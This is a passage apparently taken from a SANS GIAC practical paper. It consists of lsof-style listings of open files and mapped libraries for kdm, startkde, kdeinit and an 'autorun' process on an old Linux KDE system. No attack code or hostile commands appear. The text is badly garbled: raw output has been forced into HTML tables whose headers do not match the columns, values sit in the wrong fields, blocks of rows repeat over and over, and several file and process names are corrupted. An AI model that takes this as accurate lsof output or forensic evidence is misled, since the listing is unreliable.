X 1066 root 26u unix Oxc73da580 280026 /tmp/X11-unix/X0
kdm 1067 root cwd DIR 3,5 1024 2 /
kdm 1067 root rtd DIR 3,5 1024 2 /
kdm 1067 root txt REG 3,2 83400 35652 /usr/bin/kdm
kdm 1067 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
kdm 1067 root mem REG 3,2 874476 16985 /usr/X11R6/lib/libX11.so.6.2
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Flags</th>
<th>PID</th>
<th>User ID</th>
<th>Real-time</th>
<th>Size</th>
<th>Priority</th>
<th>Address</th>
<th>Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>45415</td>
<td>63523</td>
<td>/lib/libnss_files-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>12471</td>
<td>43053</td>
<td>/lib/security/pam_stack.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>6387</td>
<td>43046</td>
<td>/lib/security/pam_nologin.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>35340</td>
<td>63567</td>
<td>/lib/pam.so.0.75</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libdl-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>50887</td>
<td>43031</td>
<td>/lib/security/pam_console.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>182363</td>
<td>65275</td>
<td>/usr/lib/libglib-1.2.so.0.0.10</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>4910</td>
<td>43033</td>
<td>/lib/security/pam_denay.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>12989</td>
<td>43034</td>
<td>/lib/security/pam_env.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>50425</td>
<td>43057</td>
<td>/lib/security/pam_unix.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>14540</td>
<td>43032</td>
<td>/lib/security/pam_cracklib.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>71016</td>
<td>65265</td>
<td>/usr/lib/libcrack.so.2.7</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>89424</td>
<td>63507</td>
<td>/lib/libnss_nispplus-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1067</td>
<td>2</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1067</td>
<td>2</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1067</td>
<td>2</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>3u</td>
<td>unix</td>
<td>1067</td>
<td>2</td>
<td>3,5</td>
<td>1453328</td>
<td>/home/userid1/.xsession-errors</td>
<td></td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>8w</td>
<td>FIFO</td>
<td>1091</td>
<td>1</td>
<td>0,5</td>
<td>1792</td>
<td>pipe</td>
<td></td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>1w</td>
<td>DIR</td>
<td>1091</td>
<td>1</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td></td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>2w</td>
<td>TXT</td>
<td>1091</td>
<td>1</td>
<td>3,5</td>
<td>1453</td>
<td>/bin/bash</td>
<td></td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>3u</td>
<td>unix</td>
<td>1091</td>
<td>1</td>
<td>3,5</td>
<td>1453</td>
<td>/bin/bash</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>255r</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>7840</td>
<td>33603</td>
<td>/usr/bin/startkde</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>1175</td>
<td>1</td>
<td>3,3</td>
<td>4096</td>
<td>32321</td>
<td>/home/userid1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>1175</td>
<td>1</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>36360</td>
<td>33359</td>
<td>/usr/bin/kdeinit</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>1w</td>
<td>DIR</td>
<td>1175</td>
<td>1</td>
<td>3,3</td>
<td>4096</td>
<td>32321</td>
<td>/home/userid1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>36360</td>
<td>33359</td>
<td>/usr/bin/kdeinit</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1175</td>
<td>1</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1175</td>
<td>1</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1175</td>
<td>1</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,5</td>
<td>11832</td>
<td>63560</td>
<td>/lib/libtermcap.so.2.0.8</td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>262818</td>
<td>65640</td>
<td>/usr/lib/libDCOP-gcc2.96.so.4.0.0</td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>294341</td>
<td>65748</td>
<td>/usr/lib/libkparts-gcc2.96.so.2.0.0</td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>3484738</td>
<td>65724</td>
<td>/usr/lib/libkio-gcc2.96.so.4.0.0</td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>2530952</td>
<td>65712</td>
<td>/usr/lib/libkdeui-gcc2.96.so.4.0.0</td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>168176</td>
<td>65682</td>
<td>/usr/lib/libkdefx-gcc2.96.so.4.0.0</td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>173280</td>
<td>17011</td>
<td>/usr/X11R6/lib/libXrender.so.1.1</td>
<td></td>
</tr>
<tr>
<td>startkde</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1175</td>
<td>1</td>
<td>3,2</td>
<td>130324</td>
<td>130324</td>
<td>/usr/lib/i686/libc-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>Userid</td>
<td>Mode</td>
<td>Flags</td>
<td>Permissions</td>
<td>Size</td>
<td>Offset</td>
<td>Start Time</td>
<td>End Time</td>
<td>Userid</td>
<td>Groupid</td>
</tr>
<tr>
<td>--------</td>
<td>--------</td>
<td>------</td>
<td>-------</td>
<td>-------------</td>
<td>------</td>
<td>--------</td>
<td>------------</td>
<td>----------</td>
<td>--------</td>
<td>---------</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>262818</td>
<td>56640</td>
<td>/usr/lib/libDCCP-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>294341</td>
<td>65748</td>
<td>/usr/lib/libxps-gcc2.96.so.2.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>3484738</td>
<td>65724</td>
<td>/usr/lib/libkico-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>2530952</td>
<td>65712</td>
<td>/usr/lib/libkdeui-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>168176</td>
<td>65682</td>
<td>/usr/lib/libkdefx-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>17328</td>
<td>17011</td>
<td>/usr/X11R6/libXrender.so.1.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>133032</td>
<td>65706</td>
<td>/usr/lib/libkdesu-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>1962973</td>
<td>65672</td>
<td>/usr/lib/libkdecore- gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>7644546</td>
<td>440426</td>
<td>/usr/lib/gconv/gconv</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>874476</td>
<td>16985</td>
<td>/usr/lib/libX11.so.6.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>150418</td>
<td>65388</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>90976</td>
<td>16979</td>
<td>/usr/X11R6/lib/libM.so.6.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>295833</td>
<td>65382</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++.so.3-3.2.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>11174</td>
<td>65341</td>
<td>/lib/libutil</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>173359</td>
<td>73732</td>
<td>/lib/libmng.so.1.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>160194</td>
<td>65399</td>
<td>/usr/lib/libcups.so.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>290306</td>
<td>65392</td>
<td>/usr/lib/libm.so.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>140418</td>
<td>65388</td>
<td>/usr/lib/libkdecore- gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>90976</td>
<td>16979</td>
<td>/usr/X11R6/lib/libM.so.6.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>295833</td>
<td>65382</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++.so.3-3.2.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
kdeinit 1203 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1203 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 381888 65598 /usr/lib/libsoundserver_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 1048932 65545 /usr/lib/libartsflow-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 563716 65551 /usr/lib/libartsflow_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 160333 65367 /usr/lib/libaudiofile.so.0.0.2
kdeinit 1203 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 282587 65574 /usr/lib/libqtmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 1401027 73730 /lib/i686/libc-2.2.5.so
kdeinit 1203 userid1 mem REG 3,2 22592 130317 /usr/X11R6/lib/X11/locale/common/xlcDef.so.2
kdeinit 1203 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1203 userid1 mem REG 3,2 45415 63523 /lib/libnss_files-2.2.2.5.so
kdeinit 1203 userid1 mem REG 3,2 68925 63535 /lib/libresolv-2.2.2.5.so
kdeinit 1203 userid1 mem REG 3,2 4096 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 2248 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1203 userid1 mem REG 3,2 6996 130315 /dev/null
kdeinit 1203 userid1 mem REG 3,2 10902 16965 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1203 userid1 mem REG 3,2 2259 130314 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1203 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 1203 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 160333 65367 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1203 userid1 mem REG 3,2 22592 130317 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1203 userid1 mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 2248 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1203 userid1 mem REG 3,2 6996 130315 /dev/null
kdeinit 1203 userid1 mem REG 3,2 10902 16965 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1203 userid1 mem REG 3,2 2259 130314 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1203 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 1203 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 160333 65367 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1203 userid1 mem REG 3,2 22592 130317 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1203 userid1 mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 2248 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1203 userid1 mem REG 3,2 6996 130315 /dev/null
kdeinit 1203 userid1 mem REG 3,2 10902 16965 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1203 userid1 mem REG 3,2 2259 130314 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1203 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 1203 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 160333 65367 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1203 userid1 mem REG 3,2 22592 130317 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1203 userid1 mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 2248 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1203 userid1 mem REG 3,2 6996 130315 /dev/null
kdeinit 1203 userid1 mem REG 3,2 10902 16965 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1203 userid1 mem REG 3,2 2259 130314 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1203 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 1203 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>Flags</th>
<th>Start Address</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 575687</td>
<td>65982</td>
<td>/usr/lib/libkong-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 932895</td>
<td>65934</td>
<td>/usr/lib/libkicker-gcc2.96.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 40</td>
<td>130315</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 58</td>
<td>130323</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 292</td>
<td>130324</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 60</td>
<td>130325</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 173681</td>
<td>130326</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 22592</td>
<td>130327</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 6996</td>
<td>114215</td>
<td>/usr/lib/gconv/ISO8859-15.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 425497</td>
<td>75899</td>
<td>/tmp/kde-user1/ksycoca</td>
</tr>
<tr>
<td>autorun</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>autorun</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 2457</td>
<td>130317</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>kdeinit</td>
<td>user1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Flags</td>
<td>Size (Bytes)</td>
<td>Fingerprint</td>
<td></td>
<td></td>
</tr>
<tr>
<td>------------------</td>
<td>----------</td>
<td>-------</td>
<td>--------------</td>
<td>-------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 10902 16965</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/lib/cdef.so.2</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 626018 65640</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 131560 65396</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 59778 65358</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 874476 65985</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 31520 65983</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 101902 73734</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 12102 63503</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 52300 16993</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 13880 16979</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 131560 65396</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 1962973 65672</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 12102 63503</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 52300 16993</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 13880 16979</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>userid1</td>
<td>REG</td>
<td>3,2 131560 65396</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
keinit 1223 userid1 8r FIFO 0,5 2440 pipe
keinit 1223 userid1 9w FIFO 0,5 2440 pipe
keinit 1223 userid1 10r REG 3,5 425497 75899 /tmp/kde-userid1/kycoca
keinit 1223 userid1 cwd DIR 3,3 4096 32321 /home/userid1
keinit 1223 userid1 rtd DIR 3,5 1024 2
